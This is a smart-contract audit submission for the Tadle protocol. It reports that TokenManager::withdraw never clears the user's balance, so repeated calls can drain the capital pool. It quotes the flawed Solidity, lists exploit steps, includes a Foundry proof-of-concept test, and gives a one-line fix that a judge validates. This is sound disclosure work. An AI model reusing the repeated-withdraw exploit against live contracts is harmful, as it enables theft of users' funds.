Tadle
Tadle
DeFiFoundry
27,750 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

`TokenManager::withdraw` Never Updates Account Balances All Contract Funds Will Be Drained.

izuman

Summary

Attacker can easily call TokenManager::withdraw and drain the contract of all funds.

Note to Judge: the TokenManager contract's approval method is broken, but if the correct parameter was passed this is a critical issue. Please see this submission:

`CapitalPool::approve` is Passed an Incorrect Parameter, Accounts Cannot `withdraw` Any Funds

Vulnerability Details

The withdraw function never updates an the contract sate specifically the account's balance.

Steps to exploit:

  1. Make some kind a trade sell points, buy points, make an offer than cancel it etc... Make the protocol owe the account money.

  2. Call TokenManager::withdraw until all funds are drained

See the code here:

function withdraw(
address _tokenAddress,
TokenBalanceType _tokenBalanceType
) external whenNotPaused {
uint256 claimAbleAmount = userTokenBalanceMap[_msgSender()][
_tokenAddress
][_tokenBalanceType];
​
if (claimAbleAmount == 0) {
return;
}
​
address capitalPoolAddr = tadleFactory.relatedContracts(
RelatedContractLibraries.CAPITAL_POOL
);
​
if (_tokenAddress == wrappedNativeToken) {
/**
* @dev token is native token
* @dev transfer from capital pool to msg sender
* @dev withdraw native token to token manager contract
* @dev transfer native token to msg sender
*/
_transfer(
wrappedNativeToken,
capitalPoolAddr,
address(this),
claimAbleAmount,
capitalPoolAddr
);
​
IWrappedNativeToken(wrappedNativeToken).withdraw(claimAbleAmount);
payable(msg.sender).transfer(claimAbleAmount);
} else {
/**
* @dev token is ERC20 token
* @dev transfer from capital pool to msg sender
*/
_safe_transfer_from(
_tokenAddress,
capitalPoolAddr,
_msgSender(),
claimAbleAmount
);
}
​

DISCALIMER: Please see Summary, this test is assuming the approval issue is fixed
#PoC
Paste the following code into the PreMarkets.t.sol file and run it with forge test --mt test_unable_to_withdraw

function test_withdraw_contract_funds() public {
vm.startPrank(user);
​
preMarktes.createOffer{value: 0.02 * 1e18}(
CreateOfferParams(
marketPlace, address(weth9), 1000, 0.01 * 1e18, 12000, 300, OfferType.Ask, OfferSettleType.Turbo
)
);
vm.stopPrank();
​
vm.startPrank(user1);
deal(address(weth9), address(user1), 1e18);
deal(address(user1), 1e18);
weth9.approve(address(tokenManager), type(uint256).max);
address stockAddr = GenerateAddress.generateStockAddress(0);
address offerAddr = GenerateAddress.generateOfferAddress(0);
​
preMarktes.createTaker{value: 0.006175 * 1e18}(offerAddr, 500);
vm.stopPrank();
uint256 attackerBalance0 = address(user).balance;
vm.prank(user);
​
preMarktes.abortAskOffer(stockAddr, offerAddr);
vm.startPrank(user1);
address stock1Addr = GenerateAddress.generateStockAddress(1);
preMarktes.abortBidTaker(stock1Addr, offerAddr);
​
vm.startPrank(user);
TokenBalanceType tokenBalanceType = TokenBalanceType.MakerRefund;
// Get the amount they should be giving us
uint256 claimAbleAmount = tokenManager.userTokenBalanceMap(address(user), address(weth9), tokenBalanceType);
​
tokenManager.withdraw(address(weth9), tokenBalanceType);
tokenManager.withdraw(address(weth9), tokenBalanceType);
uint256 attackerBalance1 = address(user).balance;
assertGt(attackerBalance1 - attackerBalance0, claimAbleAmount); // This is asserting that the amount withdrawn is greater than what should have been withdrawn
console.log("Before balance:", attackerBalance0);
console.log("After balance: ", attackerBalance1);
​
vm.stopPrank();
}

Impact

Critical contract can be drained of all funds
An attacker can create a claimableAmount by interacting with the contract normally in any coin and drain the contract of each token including the chain's native token.

Tools Used

Foundry and manual review

Recommendations

At minimum make the following changes to the code in the TokenManager::withdraw function here:

uint256 claimAbleAmount = userTokenBalanceMap[_msgSender()][
_tokenAddress
][_tokenBalanceType];
+ userTokenBalanceMap[_msgSender()][_tokenAddress][_tokenBalanceType] = 0;
Updates

Lead Judging Commences

0xnevi Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-TokenManager-withdraw-userTokenBalanceMap-not-reset

Valid critical severity finding, the lack of clearance of the `userTokenBalanceMap` mapping allows complete draining of the CapitalPool contract. Note: This would require the approval issues highlighted in other issues to be fixed first (i.e. wrong approval address within `_transfer` and lack of approvals within `_safe_transfer_from` during ERC20 withdrawals)

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.